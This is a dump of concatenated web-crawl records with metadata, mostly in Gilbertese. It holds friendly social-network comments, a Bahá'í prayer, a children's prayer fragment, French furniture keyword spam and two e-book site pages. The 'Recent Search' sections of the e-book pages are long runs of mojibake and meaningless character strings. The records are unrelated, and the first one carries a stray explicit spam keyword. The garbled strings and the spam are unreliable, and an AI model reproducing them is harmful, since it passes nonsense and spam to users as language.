bar and more fitting only. african lesbian orgasm Kaoa te ataei bwa e na anga te tataro ni kaukuki. Mary ao ana mommy padowan nako n nakonako kotea Mary ao Mommy n te tamnei. Kabaneana Tuangiia ataei bwa ngkana ko rineia bwa kona kukurei, ti booboi ni buokiia tabeman bwa ana booboi naba te kukurei.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/riograndedonorte.org\/booboi.php","date":"2019-07-20T20:08:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526670.1\/warc\/CC-MAIN-20190720194009-20190720220009-00054.warc.gz","language":"gil","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999948740005493}","num_words":776,"character_repetition_ratio":0.06,"word_repetition_ratio":0.156,"special_characters_ratio":0.204,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"nei butae n cing ko uara ngaia ko roko naba nte banaban voice i taku ba ngkoe kain kiribati ..e raoiroi we dont need extras.... well neiko antai naba ae taku ba ko boboto riki nakoim kai e koaua ba koa betinako ngkana ko tei irarikiu ....keer ..neiko ko raba ngaia ko bon kinaira naba ti taku ba koa move on ma am life.... ko raraba nte advice ao ai au ad nakoim... kawakina raoi te bai anne ba toronibaim raoi ao riki am koraki ko ongo..... ongotaeka like me keer sis... and hope to hear from ya..... i reckon u guys will be seeing each other pretty soon aye sis....\ntau bon te kamauiri ao te katekeraoi nakoimm ao riki nakoiia kain am auc... neiko all the best in skul and do take kea..\nluv ya and miss u saraga\nclara.\/\nhi, my little gal, I`m sure u are no longer small but big(oops, not fat) and beautiful(inside and outside) u know I get emotional now just communicating to u alll......... anyway lets not act like old ladies. hows life treating u. its been a long time n we are longing for the day that we will meet each other again according to God`s plan. Tia rereitaki te tataro ao tia boo boo moa.I`ll be in touch.\nUncle Moteta\nae bon te coment korakora iroum ker e tikiraoi ba are i bon butimaia naba kee ! tera riki?\nnway sis e start te reirei again i hope u enjoy schooling as u with aunty mone there that a great team ......\nsis aas for an advice ur better be a journalism on the Uekera ke te Mauri ae bon ikane Antebuka ao tao am post the Head Editor of the ni 5akea ..... ao aio tein te kikirake...........Antai te # 8 ao e maeka iara ................. and so on ! !!!!???\nwhat is ur answer?\nhola back sis asap kee ao tai uun bwa bon korakora naba Maiana aio\nAi kawara gkami tariu aio bwa akea ana comments! E tau let me be the first one to grace this page of urs with my beauty..hehehe! How's school? I hope u managed to finish the projects. I can imagine it's festive season in Tarawa now with the 30th independence anniversary around the corner..ea roko ni kaungana kee? Oh well, do take care..you dont wanna become a 50cents yet..hahahaha. Love u, big sis","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/UeenrootiRimon","date":"2019-07-22T22:30:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528290.72\/warc\/CC-MAIN-20190722221756-20190723003756-00349.warc.gz","language":"gil","language_score":0.738312006,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.7383120059967041, \"pcm_Latn_score\": 0.14665913581848145}","num_words":394,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.738,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire ikea occasion armoire a rideau occasion armoir enfant nouveau armoire a rideaux, armoire ikea occasion lit armoire 2 places new lit armoire occasion lit escamotable 2, armoire ikea bebe luxe armoire ikea pax occasion dresser armoire armoire ikea occasion, armoire ikea occasion armoire ikea bebe unique armoire ikea pax occasion dresser armoire, armoire ikea occasion armoire ikea brimnes trendy wardrobe closet with armoire ikea,\nArmoire Ikea Occasion Armoire A Rideau Occasion Armoir Enfant Nouveau Armoire A Rideaux source: fahodieforfriends.org\nArmoire Ikea Occasion Lit Armoire 2 Places New Lit Armoire Occasion Lit Escamotable 2 source: appiar.io\nArmoire Ikea Bebe Luxe Armoire Ikea Pax Occasion Dresser Armoire Armoire Ikea Occasion source: galerialife.com\nArmoire Ikea Occasion Armoire Ikea Bebe Unique Armoire Ikea Pax Occasion Dresser Armoire source: galerialife.com\nArmoire Ikea Occasion Armoire Ikea Brimnes Trendy Wardrobe Closet with Armoire Ikea source: atlantis-production.com\nArmoire Congelateur Cherche Congelateur Armoire Occasion Best Armoire Ikea Occasion source: fahodieforfriends.org\nArmoire Ikea Occasion This Puter Armoire Ikea Unique source: jaybossng.com\narmoire congelateur cherche congelateur armoire occasion best armoire ikea occasion, armoire ikea occasion this puter armoire ikea unique, armoire ikea occasion armoire vintage occasion unique 80 best armoires et bahuts, armoire ikea occasion bureau metal ikea 28meilleur de meuble metal ikea occasion,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/nuits-insolites-bulles.com\/armoire-ikea-occasion\/","date":"2019-07-21T07:45:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526931.25\/warc\/CC-MAIN-20190721061720-20190721083720-00034.warc.gz","language":"gil","language_score":0.3304354548,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.33043545484542847, \"asm_Latn_score\": 0.16473981738090515, \"syl_Latn_score\": 0.08080612868070602, \"atj_Latn_score\": 0.06362525373697281, \"guz_Latn_score\": 0.043882329016923904, \"mfe_Latn_score\": 0.03932167589664459, \"pcm_Latn_score\": 0.025799980387091637, \"eus_Latn_score\": 0.02460327558219433, \"eng_Latn_score\": 0.02098432369530201, \"sat_Latn_score\": 0.014929135330021381}","num_words":199,"character_repetition_ratio":0.211,"word_repetition_ratio":0.221,"special_characters_ratio":0.158,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nThe Path Book\nGenres\nMost Read\nAccount\nHome\nPsychology\nPsychology\nDestroy All Monsters\nThe Nocturnal Brain: Nightmares, Neuroscience, and the Secret World of Sleep\nTell Me Who You Are: Sharing Our Stories of Race, Culture, & Identity\nThe Ministry of Truth: The Biography of George Orwell's \"1984\"\nElderhood: Redefining Aging, Transforming Medicine, Reimagining Life\nConscience: The Origins of Moral Intuition\nThe Silent Patient\nHere To Stay\nThe Perfect Child\nThe Subtle Art of Not Giving a F*ck: A Counterintuitive Approach to Living a Good Life\nMaybe You Should Talk to Someone: A Therapist, Her Therapist, and Our Lives Revealed\nAtomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones\nEverything is F*cked: A Book About Hope\nCan't Hurt Me: Master Your Mind and Defy the Odds\nMake Your Bed: Little Things That Can Change Your Life...And Maybe the World\nTrick Mirror: Reflections on Self-Delusion\n12 Rules for Life: An Antidote to Chaos\nDigital Minimalism: Choosing a Focused Life in a Noisy World\nThe Choice: Embrace the Possible\nFactfulness: Ten Reasons We're Wrong About the World – and Why Things Are Better Than You Think\nBeing Mortal: Medicine and What Matters in the End\nThinking, Fast and Slow\nQuiet: The Power of Introverts in a World That Can't Stop Talking\nMan's Search for Meaning\nBlink: The Power of Thinking Without Thinking\nThe Power of Habit: Why We Do What We Do in Life and Business\nThe Man Who Mistook His Wife for a Hat and Other Clinical Tales\nInfluence: The Psychology of Persuasion\nPredictably Irrational: The Hidden Forces That Shape Our Decisions\nOutliers: The Story of Success\nFlow: The Psychology of Optimal Experience\nThe Tipping Point: How Little Things Can Make a Big Difference\nThe Psychopath Test: A Journey Through the Madness Industry\nThe Interpretation of Dreams\nEmotional Intelligence: Why It Can Matter More Than IQ\nHow to Win Friends and Influence People\nRecent Book\nDouble Cross\nThe Store\nI Must Have Bobo!\nWicked Hot Reads\nFlash Harriet and the Fiendishly Wicked Whistle Mystery (Read Alone)\nChance Assassin: A Story of Love, Luck, and Murder\nPillars of Salt\nThe Devil's Advocate\nBatman, Volume 7: The Wedding\nDoctor Who: Inferno\nRecent Search\ne i i a e i e i e e i es i a iz iae aaaaaaセゑスオ iaaaaaaセゑスオi eaaaaaaセゑスェ i i i a i i mxm33 tre863 som i iz e e i a iz 0vne i z2019 04 19 12 44 a7 e i a e i zvc i i e eaaaaaaセゑスェ i i i a pui iae eaaaaaaセゑスェ i e e i i eaaaaaaセゑスェ i i i a e i\nae aee e ae ae ae a c ez a a ae aaase c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaaaaaaaaaaaµa a ae ae ae a c ezza csa eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaaaaaaaaµa ae aea c ae ae a c ez aee e ae ezseae c ez aae aaascsa c ae ae a c e a c c ae ae a c ez ae aee e ae\ne i i a e i e i e e i es i a iz iae aaaaaaï ã ï ï µ iaaaaaaï ã ï ï µi eaaaaaaï ã ï ï ª i i i a i i mxm33 tre863 som i iz e e i a iz 0vne i z2019 04 19 12 44 a7 e i a e i zvc i i e eaaaaaaï ã ï ï ª i i i a pui iae eaaaaaaï ã ï ï ª i e e i i eaaaaaaï ã ï ï ª i i i a e i\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i i i i i aaaaaaaaaaaai i aaaa⪠ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai i aai a i i aai i aaaaaaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ne i i a e i e i e e i es i a iz iae aaaaaai a i i µ iaaaaaai a i i µi eaaaaaai a i i ª i i i a i i mxm33 tre863 som i iz e e i a iz 0vne i z2019 04 19 12 44 a7 e i a e i zvc i i e eaaaaaai a i i ª i i i a pui iae eaaaaaai a i i ª i e e i i eaaaaaai a i i ª i i i a e i\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i i i i i aaaaaaaaaaaai i aaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i i i i i aaaaaaaaaaaai i aaaaa⪠ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i i i i i aaaaaaaaaaaai i aaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ni i e e i a iz i e e e i e i e e i es i a iz iae aaaµ i a iz iae aaaµe i i i h63 mss798 som i i e e 2019 03 06 17 17i i e e j i i e e nw i i e e cvk i i e e i a iz i ea iae i eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaaaaaaaaaaµa ae aea c ae ae a c ez\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n7 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!\nBooks","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.girlsloco.com\/genres\/psychology\/","date":"2019-08-20T15:25:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315544.11\/warc\/CC-MAIN-20190820133527-20190820155527-00180.warc.gz","language":"gil","language_score":0.4883713424,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.488371342420578, \"smo_Latn_score\": 0.30729740858078003, \"iso_Latn_score\": 0.07609087973833084, \"tah_Latn_score\": 0.06014719232916832}","num_words":1323,"character_repetition_ratio":0.111,"word_repetition_ratio":0.368,"special_characters_ratio":0.294,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":0.537,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nNew Releases Tagged \"Biography\"\nSee more\nPermanent Record\nYear of the Monkey\nMonster, She Wrote: The Women Who Pioneered Horror and Speculative Fiction\nRenia's Diary: A Holocaust Journal\nThe Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company\nNew Releases Tagged \"Contemporary\"\nSee more\nFrankly in Love (Frankly in Love, #1)\nWell Met (Well Met, #1)\nNo Judgments (Little Bridge Island, #1)\nPermanent Record\nSlay\nNew Releases Tagged \"Mystery\"\nSee more\nCapturing the Devil (Stalking Jack the Ripper, #4)\nThe Tenth Girl\nRules for Vanishing\nThe Widow of Pale Harbor\nThe Long Call (Two Rivers, #1)\nRecent Book\nRookie Yearbook Four\nI Am Ozzy\nHeureux comme un Danois\nO Grande Gatsby\nBaking with Mary Berry: Cakes, Cookies, Pies and Pastries from the British Queen of Baking\nMake Your Bed: Little Things That Can Change Your Life...And Maybe the World\nDead Spy Running\nThe Body Farm\nAll You Can Eat: How Hungry Is America?\nA Dangerous Woman: The Graphic Biography of Emma Goldman\nRecent Search\ne a i e e e e sc e i e ez e œe zaaeœ mo27 m oo27 ce za e eza œae c i e z e ˆi µe i eza œae c i eœ c ae e s\ni e i i i e i e ic e aaas iz i i e e e i ezaaaaai i aaaaaaµa akaxx com i i e i e i dui i e e i e i e a ewe e e aaas iz i e e i 2019 03 06 20 06 is e e i i e es e e\ney cyzae ae a c ae ae a e c ae ae e a z p o 34 po o34 ce ae ae a c c eae a sez a ae y 2019 02 23 19 33ey cyz aij ae ae a c e ae ae yae as ey ae c ez aae ae aaaaaaaaaaaa\ney cyzae ae a c ae ae a e c ae ae e a z p o 34 po o34 ce ae ae a c c eae a sez a ae y 2019 02 23 19 33ey cyz aij ae ae a c e ae ae yae as ey ae c ez aae ae aaaaaaaaaaaaa碌ae ae a c ezza ae ae a c ez ae ae a ae ae a c ae aaaaaaaaaaaaa碌a a ae ey cyz\nc a sa sae aaaaaµa a ae ae a ae ae e a zspw78 mss798 som ez a aes c a sa sae aaaaaµa a ae aaaaaµa a ae e ae c a sa sae aaaaaµa a ae ae a ae aaaaaµa ac a sa sae aaaaaµa a ezza eza ez c ez aae e e aaaaaaº ae e a c ea ae a ce ae ez c ez aae e e 2019 02 27 05 34 24 87c a sa sae aaaaaµa a c a sa sae aaaaaµa a c a sa sae aaaaaµa a 7\nguy prom looks\nezsa a ez a ae c ae ae e a z mo27 po o34 ce ae ae ae a e a eai i aaaaaaµ ae ae a c e aai i aaaaaaº cs ae ae a 2019 03 02 11 24ezsa a aij ae ae a c ezza ezzaey aes c e a c c eae c ez aae e ae ae a ez a ae ea ae ae c ez aae e ezsa a\ney cyzae ae a c ae ae a e c ae ae e a z p o 34 po o34 ce ae ae a c c eae a sez a ae y 2019 02 23 19 33ey cyz aij ae ae a c e ae ae yae as ey ae c ez aae ae aaaaaaaaaaaaaaaaaaaaµae ae a c ezza ae ae a c ez ae ae a ae ae a c ae aaaaaaaaaaaaaaaaaaaaµa a ae ey cyz\ni i e i i is iaaaaaaaaai a i i ºi e i i e i i e e iz opm65 xyz e i e e aaaaaaaaai a i i µezaaaaaaaaai a i i µ82019 04 16 22 16 qf e i e e aaaaaaaaai a i i µezaaaaaaaaai a i i µ rnd ia ey i i e\ney cyzae ae a c ae ae a e c ae ae e a z p o 34 po o34 ce ae ae a c c eae a sez a ae y 2019 02 23 19 33ey cyz aij ae ae a c e ae ae yae as ey ae c ez aae ae aaaaaaaaaaaaaacc a ze ae a c ezza ae ae a c ez ae ae a ae ae a c ae aaaaaaaaaaaaaacc a z a ae ey cyz c ez aaea e ez a\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n7 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!\nBooks","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.chantay.club\/best-dating-apps-for-relationships-australia.html","date":"2019-10-23T10:17:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833089.90\/warc\/CC-MAIN-20191023094558-20191023122058-00019.warc.gz","language":"gil","language_score":0.6257988214,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6257988214492798, \"smo_Latn_score\": 0.11199183017015457, \"iso_Latn_score\": 0.11095687747001648, \"por_Latn_score\": 0.023370245471596718, \"syl_Latn_score\": 0.01725725457072258, \"tah_Latn_score\": 0.015005593188107014}","num_words":855,"character_repetition_ratio":0.108,"word_repetition_ratio":0.239,"special_characters_ratio":0.295,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":0.492,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"I onnoniiko, Ngkoe Atuau, ni mwaakan Kanikinaeam, ao man kaotiotin Raoiroim i buakoia aomata, n aki katinanikuai man mataroan te kaawa are Ko mena iai, ao n aki urui au kaantaninga ake I a tia ni kawenei i bukin kaotiotan Raoiroim i buakoia Am botannaomata. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe Atuau, n moan baan karewerewen Bwanaam, ao man rietaatan Am Taeka, ni katikai ni kaaniai riki nakon matan Am mataroa, ao n aki karikai n raroa nako man nuun Am nanoanga ao katantanin Am kakabwaia. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe Atuau, n ootan raneanean Am ari ao otamwaakan tauran Moamoam, are e oota man te kabanea n rietaata n oraitan, ao ni katikai ni boiararan Am kamwarai, katauai bwa N na mooi man te wain ae rineaki n Am taeka. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Iram are e mwaingiing i Moam, n ai aron mwaingiingin Am kainikoroboki i aon iteranibaan nako Am Tabureti, ni kakianakoa te rengarenga are e raba nanona nako i aon abanuean Am karikibwai, ni kateirakeai ni beku n Am Waaki bwa N na aki kerikaaki ke n tuukaki man aia iango naake a tia n totokoa Am kanikina nako ao n rairaki nako mai Moam. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Aram ae Ko a tia ni karaoia bwa Uean Aara, are mai iai a tia ni kimwareirei ni kabaneia ake i karawa ao i aon te aba, ni karikai bwa N na kona n taraa Itoin Ngainan Tamaroam, ao n anganai wainin Am taetae. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Umwan Am kaintokanuea mai i aon te kabanean n rietaata taubukin maunga, ao katantanin Am Kaotioti ni kabanean rietaatan tabuki, ni mwannanoai ni buokai ni karaoa are Ko tangiria ni karaoaki ao ni kaotiotaki Am kaantaninga. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko, Ngkoe ae Atuau, n Tamaroam are e ootanako i aon oraitanin te aki tootoki, te Tamaroa are i mwaain are E kaotaki n te tai naba anne abanuean te tamaroa e bobaraaki nako naano n taromauria, n neboneboia n tangitangin bwanaa, ni kataua bwa N na mate man bwaai ni kabane ake I bwaini ao ni maiu nakon bwaai ake Mairoum. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, ni Kaotiotan Aram, Moan Baan te Tangiraki, are Rinanona a bane nanoia naake E tangiriia ao a tia n rierake tamneia naake a maeka n te aonaaba, ni buokai n Uringko i buakoia Am karikibwai, ao ni Kamoamoako i buakoia Am aomata. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabane ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, ni mwakaikain Kain te Rote ni Karawa ao maningongoon kamwemwen Taetaem man abanuean Aram nako, ni buutai nako man bwaai ake Ko ribai, ao ni katikai ni kaaniai nakon te karinan are E a tia n ootanako iai Teuare Ngaia Bongin Rikiraken Am kanikina nako ake a tia n oota nako. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n te Man ni koroboki are, n te tai are e otinako man wiin motin Nanom, a tia ni koburake iai taian marawa, ao ni kare iai taian ang, ao ni kaotaki uaa, ao n teberake ni bwebwe kaai, ao ni mauna iai bwain ma rongorongo ni ikawai, ao n taeki nako aeka nako n rabunanimata, ao naake a bane nanoia Iroum a kawaekoaiia nakon ootan matan aia Uea, te Aakea Tokina, ni kaoti nakoiu baike a wene n raba i nanon kaubwain Am atatai ao ni kainaki i nanon te tabo are a karauaki ni kaawakinaki n Niniwanam. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n ain Am tangira are e kamwaawa te matu man mataia naake Ko rineia ao ake Ko tangiriia, ao man aia ururing ao aia nebonebo nakoim n auan te karangaina, ni warekai i buakoia naake a tia ni karekei bwaai ake ko a tia ni karuoi rikaaki i nanon Am Boki ao ni Kaotiko rinanon motin Nanom. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n ootan Moam are e kairoroia ake a kaan ma Ngkoe ni uarokoia ma waekoan Am tua, ao ake a bane nanoia Iroum ni kaaitarai aia kabaang Am kairiribai i nanon Kawaim, ni koroi nakoiu n Am Kainikoroboki ae moan baan te rietaata bwaai ake Ko a tia ni koroi nakoia ake Ko onimakiniia ao ake ko rineia. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.\nI onnoniiko Ngkoe ae Atuau, n Aram are Ko a tia n ongo n aia wewete naake a Tangiriko ao rawawataia ni kariaria naake a Kainnanoiko, ao tangiia naake a tangira rokoia Iroum, ao ngirangiraia naake a bane nanoia Iroum, ao rinanona are Ko a tia ni kakoroi bukin baike a tangirii ao ni katokai aia kaantaninga Iroum, ao Ko a tia ni anganiia nanoia are a tangiria, rinanon Raoiroim ao Am mwamwannano, ao n Aram rinanon marawan Am kabwarabure a bwaro nako Moam, ao nangin Am tituaraoi ae bwaka ni karau i aoia Am toro, ni koroi i aoia n tatabemaniia ni kabane ake a tia n rairaki Nakoim, ao n taua bukin te Aki Mamatam are e kamatoaaki Iroum, te kabomwi are e katauaki i bukiia ake a aki taetae ma ti man Am kariaia, ao ake a tia ni katikui i nanon Kawaim aia bwai ake irouia i bukin Tangiram.\nI onnoniiko Ngkoe ae Atuau ao au Uea, i Iroum ao n Am kanikina nako, ao n itiakin Am kanikina nako, ao raneanean ootan Itoin Ngainan Tamaroam, ao Mwaangam, ni kamaunai aia bure naake a tia n taua ni kamatoa Am tua, ao n tia ni karaoa nanon are Ko a tia ni baaireia i bukiia i nanon Am Boki. Ko bon noorai, Atuau, I taua Aram, te Kabanea n Tabu, te Kabanea n Oota, te Kabanea ni Mwaaka, te Kabanea ni Korakora, te Kabanea n Rietaata, te Kabanea ni Mimitong, ao n tinea rabin te kamwarai are a bane n tineia kaain te aonaaba aei ao ake n te aonaaba ae e na roko.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190302020","date":"2019-11-17T01:09:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668772.53\/warc\/CC-MAIN-20191116231644-20191117015644-00490.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1611,"character_repetition_ratio":0.168,"word_repetition_ratio":0.412,"special_characters_ratio":0.223,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Ngai ngkanne bon Teresa ur sis neighbour with Nei Tio Tonika @ Kesu2x Village. Same positon as u in the family binanikoro OH NOooooo the 3rd in the family. And U ko neighbour ngkoa ma antai???? Isa ia suprise ngkai koa form six and maybe this year 2011 koa makuri keee. How are u now bro??? If u dont know me then ask ur big fatty sister Savali coz I use to see u at ur young age so small and now I cannot imagine that u have grown up. Tekeraoi te reirei or whatever and regards to Mama Tabakea and all the kids and the gang at home. OK then bro hear from u in ur spare time and hope that we meet somewhere.\nnou ko uara.. itaku ko abon ataei ni mane.. ke.. e uara te tuku ikanne... nao eagara gkai.. Jerry koa gana au kamauri ma kain am auti.. ni kabane... ke.. and add some photos so we can see the Tuvalu way...hah ..hah..\nNou i reirei i Nasinu Secondary School....i boarding ao ngkai iaaki bwa a bua au bai tabeua....i form five ao i take te Tech Science....koa kanga naba ni form six?? iai te aoraki teutana i atum...hahaha...ko vivia qase ker??\nAnyways kam uara ikanne??\nnou i taku bwa koa bae n ababaki ao tao ea reke temanna batoron te utu ker...\nkoa kaka naba temanna au bai tei tuvalu mai ikanne ao ngai ianganiko buun te utu are nei Kikira...hahahaha\nNeiko koa manga rereitia mai ikanne ker...\nTOFA & KAETAE\nngai eabane au reirei ....ao ngkai ia makuri .......ao iuringa ba koneng uarwerweke ngkoa i Kesu2...ao engara Jerry raou ni Promary nte Banaban shshshsh koa neing ikawaii kee ....ea roronga te aba ........regards to ur family dea\nmanena,ko uara? a uara kain am auti? koa anga naba au kamauri nakoia.ngkai ko form iraua? ao tera ae a bon karaoi 